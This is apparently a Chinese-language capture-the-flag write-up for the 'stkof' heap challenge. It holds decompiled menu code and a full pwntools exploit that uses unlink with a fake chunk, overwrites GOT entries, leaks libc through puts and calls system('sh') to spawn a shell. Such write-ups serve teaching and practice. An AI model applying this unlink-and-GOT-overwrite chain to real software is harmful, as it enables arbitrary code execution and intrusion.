通过这个题目再来学习下unlink

逆向

main函数,一样是个菜单题,但是比较坑的是没给菜单,只能靠用户来逆向出其功能

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int index; // eax
  signed int v5; // [rsp+Ch] [rbp-74h]
  char nptr; // [rsp+10h] [rbp-70h]
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(&nptr, 10, stdin) )
  {
    index = atoi(&nptr);
    if ( index == 2 )
    {
      v5 = sub_4009E8();
      goto LABEL_14;
    }
    if ( index > 2 )
    {
      if ( index == 3 )
      {
        v5 = sub_400B07();
        goto LABEL_14;
      }
      if ( index == 4 )
      {
        v5 = sub_400BA9();
        goto LABEL_14;
      }
    }
    else if ( index == 1 )
    {
      v5 = sub_400936();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

add堆块功能:
其中heaparray在0x602140处

signed __int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *mem_ptr; // [rsp+8h] [rbp-78h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  mem_ptr = (char *)malloc(size);
  if ( !mem_ptr )
    return 0xFFFFFFFFLL;
  ::s[++dword_602100] = mem_ptr;
  printf("%d\n", (unsigned int)dword_602100, size);
  return 0LL;
}

free:
no UAF

signed __int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v1] )
    return 0xFFFFFFFFLL;
  free(::s[v1]);
  ::s[v1] = 0LL;
  return 0LL;
}

edit:可以任意修改堆块size,造成任意堆溢出

signed __int64 sub_4009E8()
{
  signed __int64 result; // rax
  int i; // eax
  unsigned int index; // [rsp+8h] [rbp-88h]
  __int64 size; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  index = atol(&s);
  if ( index > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[index] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = ::s[index];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

IO 缓冲区问题分析

值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。具体如下,可以进行调试查看
初次调用 fgets 时,malloc 会分配缓冲区 1024 大小。

别管我说的啥,调试就完了

exp

思路:利用unlink修改heaparray[0][1][2],看exp吧

from pwn import *

p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

def add(size):
	p.sendline('1')
	p.sendline(str(size))

def edit(index,size,content):
	p.sendline('2')
	p.sendline(str(index))
	p.sendline(str(size))
	p.send(content)

def delete(index):
	p.sendline('3')
	p.sendline(str(index))

add(0x10)	#chunk1:对抗缓冲区
add(0x30)	#chunk2
add(0x80)	#chunk3
add(0x10)	#chunk4

ptr = 0x602140
fd = ptr + 0x10 - 0x18 
bk = ptr + 0x10 - 0x10

fake_chunk = p64(0)
fake_chunk += p64(0x31)
fake_chunk += p64(fd)
fake_chunk += p64(bk)
fake_chunk += p64(0) * 2
fake_chunk += p64(0x30)
fake_chunk += p64(0x90)

edit(2,len(fake_chunk),fake_chunk)
delete(3)

print("现在修改heaparray[0][1][2] 分别为free,puts和atoi")
payload = p64(0) 
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
payload += p64(elf.got['atoi'])
edit(2,len(payload),payload)

print("现在修改free的值为puts,然后free(1),就是puts(1),即输出puts的真实地址")
payload = p64(elf.plt['puts'])
edit(0,8,payload)

delete(1)

#context.log_level = 'debug'
puts_addr = u64(p.recvuntil("\x7f")[-6: ].ljust(8,b'\x00'))
print("puts addr ----> " + hex(puts_addr))
print("经过调试算出来相对差值为0x67860,不知道为什么最近libc老不准")
libc_base = puts_addr - 0x67860
print("libc  --->  " + hex(libc_base))

system_addr = libc_base + 0x3f550
paylaod = p64(system_addr)
edit(2,8,paylaod)
p.sendline("sh")

p.interactive()